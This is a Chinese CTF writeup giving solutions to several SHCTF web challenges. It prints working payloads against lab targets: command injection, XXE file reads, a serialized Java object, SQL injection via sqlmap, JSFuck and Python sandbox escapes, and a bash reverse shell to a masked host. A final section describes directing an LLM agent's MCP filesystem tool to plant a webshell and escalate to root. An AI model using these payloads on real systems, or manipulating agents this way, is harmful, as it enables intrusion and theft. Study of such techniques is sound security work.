SHCTF 3rd Web 部分题目 Writeup
[阶段 1] ez-ping
靶机展示
题目比较简单,主要是命令执行。估计 flag 是关键字会被拦截。
Payload 思路
看到 flag 在根目录下,估计 cat /flag 都是敏感字被拦了。读文本文件除了 cat 以外,tail / head 等都很常用,加上用通配符 ? 绕过即可。
curl 'http://challenge.shc.tf:31693/ping.php' --data-urlencode '-c 1 127.0.0.1 && tail /?la?'
输出结果中包含 flag:SHCTF{94c6789c-ea67-4271-b3b4-61271ac45d7c}。
源码过滤 + getshell
直接 ls 可以看到当前目录的 .php 文件,我们看下源码尝试 getshell。
拦截规则在 ping.php,白名单允许 字母数字、.、-、/、?、*,虽然 * 也在里面不过下面黑名单也有。
拿 shell 也比较简单,虽然直接在网页上拼接 revshell 命令失败了,不过我们可以让靶机从 VPS 直接下载 revshell 脚本,用 curl / wget + 管道符 | bash / sh 即可。
<?php header('Content-Type: text/plain; charset=utf-8');if($_SERVER['REQUEST_METHOD']==='POST'){$domain=$_POST['domain'] ?? '';if(!preg_match('/^[a-zA-Z0-9\.\-\& \?\*\/]*$/', $domain)){ http_response_code(400);echo"无效的域名!";exit;}if(empty($domain)){ http_response_code(400);echo"请输入域名!";exit;} try {$cmd="ping -c 4 ".$domain;if(!preg_match('/cat|tac|flag|\*/',$cmd)){$output= shell_exec($cmd." 2>&1");}else{$output="命令中包含非法字符!";}echo$output ?: "命令执行失败!";} catch (Exception $e){ http_response_code(500);echo"错误:".$e->getMessage();}} ?>
[阶段 2] Mini Blog
题干: 完全安全的博客系统
攻击思路
看到数据是 XML 格式提交,那大概率是 XXE 实体注入了。第一反应是 SSTI,但是实际上并不是(主页可以看到其实我已经尝试了 {{ 7*7 }} 这种模板注入但并无效果)。
Payload
用 XXE 的 payload 看了下 /etc/passwd 直接就有回显了。
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPEfoo[ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><post><title>&xxe;</title><content>123</content></post>
直接拿到了 /etc/hosts,因为不知道 flag 具体位置,随便测试了下,运气好用 /flag 直接拿到了 flag。
[阶段 3] 你也懂 java?
题干: 源代码和二进制已经全部在这里了,没有任何秘密。
靶机展示
靶机主页打开后可以看到是一段源码,看上去是后端逻辑代码,并且有 /upload 接口,其中 new ObjectInputStream(exchange.getRequestBody(),未经校验将 body 传入,大概率是反序列化的打法。
攻击思路
Note 对象调用了 getFilePath(),大概率是任意文件读取,因为后端逻辑没有校验传入,可构造恶意类,设置 FilePath 为敏感文件路径,用 /etc/passwd 或者 /etc/hostname 这种验证下。
创建恶意类
// Exp.java
import java.io.*;
public class Exp {
public static void main(String[] args) {
try {
Note note = new Note("Exploit", "Reading Flag", "/etc/passwd");
FileOutputStream fos = new FileOutputStream("payload.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(note);
oos.close();
System.out.println("Payload 已生成:payload.ser");
} catch (Exception e) {
e.printStackTrace();
}
}
}
编译与利用
kali 默认没 javac,不过碰巧因为打其他靶场传了个 jdk7 就用这个版本,当前 shell 环境要设好环境变量,后面成功编译的前提。
将 Note.java 和 Exp.java 放在同一个目录,编译后用 curl --data-binary 发送,因输出较多用 grep 过滤下关键字,看到已读取到了 /etc/passwd。
修改 Exp.java 中然后重新编译后并发送 payload,可以看到顺利拿到了 flag。
利用 python 直接发 payload
这道题目也可以利用 python + java 反序列化的特性,跳过用编译环节直接发送 payload,继而直接拿到 flag 或者相应的文件。
更加偷懒的方法
用下面的 payload,不但不用 jdk 编译恶意类,连 python 都省了。
echo -ne "\xac\xed\x00\x05\x73\x72\x00\x04\x4e\x6f\x74\x65\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x03\x4c\x00\x08\x66\x69\x6c\x65\x50\x61\x74\x68\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x07\x6d\x65\x73\x73\x61\x67\x65\x71\x00\x7e\x00\x01\x4c\x00\x05\x74\x69\x74\x6c\x65\x71\x00\x7e\x00\x01\x78\x70\x74\x00\x05/flag\x74\x00\x03pwn\x74\x00\x03pwn"> payload.bin
curl -X POST http://challenge.shc.tf:31865/upload --data-binary @payload.bin |grep SHCTF
[阶段 2] Go
题干: 我们开发了一个由 Go 语言编写的安全验证系统。防火墙(WAF)发誓它已经拦截了所有的 admin 角色请求。
过 waf+get flag
一开始尝试发送 GET 无效,改用 POST 发送发现响应改变。
尝试 bypass 发现可以通过修改参数大小写绕过,预计防火墙只拦截了小写的 role。
curl"http://challenge.shc.tf:31025/" -d '{"Role":"admin"}'
返回包含 flag 的 JSON。
[阶段 1] 上古遗迹档案馆
题干: 你咋直接攻击我啊?渗透测试里不是这样的啊!你应该先向我发送一个数据确认我是什么类型的题目...
SQL 注入
这道题比较简单的,以 1' 作为参数就报错了。后面手注或者 sqlmap 都可以,最终 flag 路径在 archive_db-->secret_vault->secret_key。
sqlmap -u http://challenge.shc.tf:30879/?id=* --batch -D archive_db -T secret_vault --dump
[阶段 1] kill_king
题干: 提升自己,杀死 King,或者,做点别的???
攻击思路
这种 javascript 一般控制台都可以通过调整变量值、修改函数等方式,修改游戏底层逻辑代码,直接绕过初始设定。
查看源码可以看到 javascript 源代码在 logic.js,控制台中输入 _this.damage = 9999; 可实现一刀 99999 的效果,另外下面这个 payload 可以直接跳到最后一关国王。
第二层 php 审计
在普通浏览器中过关会直接重定向到 xxx/check.php 刷新就会发现又 No access,通过 burpsuite 分析可以看到过关时 POST 会携带参数 result=win 访问 check.php。
使用 curl 发送 POST 可以看到 PHP 源码如下,除了 result 参数外,还提交 who / are / you 三个参数,其中 who / are 必须是数字,而 you 只能匹配非单词的字符。
PHP 审计攻击思路
这道题 get 传入三个参数,分别是 who / are / you,其中:
who和are必须是数字;you从头到尾每一个字符都不能是字母、数字或下划线; 最终三个参数需要拼接成return $who$you$are,同时要可以过eval()函数,也就是说必须是个合法的php的代码。
这道题乍一看没有什么思路,不过逆推的话还是很容易解决:如果不考虑正则过滤,这道题最终可以是 eval("return 1?xxxx:1") 这种三元表达式,这样解决了首尾 2 个参数只能是数字的问题。
既然我们自定义的函数既然可以动态引用,内置函数比如 system 这种也可以动态引用的。
最后的问题了,就是怎么解决用非字符串来进行攻击?这个攻击还是比较简单的,用 hackbat 发送 4 个参数,具体利用是取反,本地调试过如果使用八进制和十六进制编码传递 system 这种命令依旧会被正则拦截,取反后再取反就不会了。
最后是半成品的 payload
先用 .py 脚本生成要执行的命令,再使用 curl 将 payload 传递给靶机。
[阶段 1] ez_race
题干: 狠狠赚钱
攻击思路
核心有问题的源码是提现功能的 def form_valid() 函数,故意设置了 1 秒延迟,如果高并发可以多次提现提到余额为负,另外业务逻辑中,当余额为负数就会爆 flag。
Payload
选到提现页面贴入 payload 然后发送到 console,如果失败的话,访问 /reset 接口,领取红包确保余额有 10 元再发送 payload。
这道题多线程并发比较容易崩,我是崩了好几次再拿到的 flag。
[阶段 1] calc?js?f**k!
题干: 怎么又是计算器?又是 js?f**k!
攻击思路
jsf*ck 只需要 !、[ 、] 即可完成攻击,白名单字符已绝对够用。
利用 jsf**k 网站
https://jsf**k.com/ <-请自行脑补*号字符对应的字母,关于为什么仅 !、[ 、] 就可以执行各种命令,这个网页上有简要说明。
- 查看根目录
process.mainModule.require('child_process').execSync('ls /').toString() payload利用jsf**k转换,放入网站下图框中,注意Eval Source需要勾选。 - 利用
curl/hackbar/python等工具发送payload,注意选择application/json。 - 最终读取
flag的payload如下,可修改端口可直接复用。
[阶段 1] Eazy_Pyrunner
题干: 任何人都可以运行自己的 Python 程序!不过大嗨客就算了,还有运行的程序必须是我喜欢的。
攻击思路
- 展示页上
关于这里可能存在文件包含漏洞。 - 文本框内可以运行
Python代码,会有暴露很多线索,另外这种题型大概率是绕过后RCE。
dir() 下可以看到两个莫名其妙的函数,大概率是审计钩子。
高敏字段测试了下发现都被拦了。
文件包含获得源码
利用上面泄露的地址可以拿到 .py 的源码。
blacklist 涉及如下关键字:['import', 'open', 'read', 'write', 'exec', 'eval', '__', 'os', 'sys', 'subprocess', 'run', 'flag', '\'', '"']。
审计函数逻辑:
sys.modules['os'] = 'not allowed'# os 不让用return event_name.startswith("Nothing is my love but you.")# event name 必须以 关键字开头len(event_name) > 0# event name 不能大于 0len(arg)# 参数不能大于 0
Payload
这道题相对还是比较简单,可以用内置方法让审计函数失效,再通过 posix 等来执行命令,具体 payload 在下面,复用的时候 注意把注释中和 blacklist 冲突的关键字删掉。
运行 payload 后发现已经可以 RCE 了。
Get Shell + Flag
反弹可以用下面的方法,注意要先编码。
进去后看到 /flag 无权限查看,但本地有个 /read_flag,运行就可以读到 flag。
[阶段 1] 05_em_v_CFK
题干: 继某两所大学校内餐厅被黑后,终于考上大学的小明也想'逝世',但是他遇到了一些困难于是请求你的帮助。
信息收集
- 源码存在如下隐藏信息,解码可知内容为:我上传了个 shell.php,带上 show 参数 get 小明的圣遗物吧。
- 此外经爆破靶机存在如下 文件/目录:index.php, connect.php, /uploads/, /uploads/shell.php(要带参数访问)。
第二层 php 源码及审计
根据小明提示,访问他的后门并加参数 show,我们得到了源码。
$pass 是 md5 比较简单,随便什么解密网站基本都能直接爆出来是 114115。
弹个 shell
curl -X POST http://challenge.shc.tf:30659/uploads/shell.php -d "key=114514" --data-urlencode "cmd=bash -c 'sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxx 0>&1'"
攻击思路
根据下面的代码,可以看到, $my_money 在 index.php 中直接写入了 3.00 元不过文件没有权限改写,但是 $pdo 是数据库链接对象,我们可以通过 webshell 的 code 直接 include。
利用代码层构造如下 payload 且通过 webshell 的 code 参数传入,传入购买 id=3 的商品时告诉后端我们有 100.00 元,足够支付 flag 价格。
[MISC][阶段 2] ezAI
这道题虽然是 MISC 但依旧用到了 WEB 的渗透手法。
攻击思路
这个靶机并不是把 flag 告诉大模型后,再用 system prompt 把 flag 设置成 TOP-SECRET 禁止模型向所有人透露,而是要求读取到系统内的文件,所以需要用渗透的手法打到服务器里面,然后再想办法。根据题干透露的信息我们到 MCPJS 查阅安装的插件可以看到,接入的 MCP 目前具备读取文件/文件夹,写入/移动文件,以及 list_allowed_directories 等能力。
攻击步骤--打点阶段
- 我们先用
list_allowed_directories查看下MCP可以控制的文件夹。 - 尝试让
MCP把phpinfo()写入文件成功,但是访问发现404,因为写入的是/var/www/h/1.php。 - 尝试写入
/var/www/html,考虑到服务器是apache尝试往其默认目录/var/www/html写写看文件,发现写入成功,并且可以访问到。 - 写入一句话木马并访问,成功
getshell。
攻击步骤--后渗透阶段
- 查找
flag,根据题干flag在/root下面,查看了下是没权限访问的,所以后面还要想办法提权。 - 先看下
/var/www文件夹到底是怎么回事,的确是有 2 个文件夹h和html,单看权限的话user:www-data只能操作html文件夹,而user:mcp可以同时操作这 2 个文件夹的内容。 ps -aux查看进程,我们看到user:root用su -s /bin/bash让user:mcp执行了node启动了mcp服务,同时把流量转发到了本地的1337端口,而且mcp服务的目录的确是/var/www/h文件夹。- 内网信息收集,收集到任务计划的时候,我们看到
php这个任务计划,是每分钟让root执行一次/usr/lib/php/sessionclean脚本,而碰巧这个脚本是user:mcp可以rwx的。 getshell提权,根据上面的思路,我们创建个软连接指向/usr/lib/php/sessionclean然后发指令让MCP修改成revshell,然后让user:root定期执行任务的时候执行即可。
静等一分钟,看到反弹回来了 root 权限的账号,到 /root 中可以找到 flag。
漏洞原因
为什么 mcp server 指定的目录是 /var/www/h 但是可以修改 /var/www/html 中的内容?导致这个服务器被攻击者可以从对话这里就写入 webshell 打开了突破口?
目前的配置下我们得出的结论,只要是 /var/www/h 开头的文件夹是可以被 mcp 操作的。问题代码在 /opt/mcp-server/node_modules/@modelcontextprotocol/server-filesystem/dist/index.js 文件的的第 50 行左右。
本文抛砖引玉,感谢阅读。


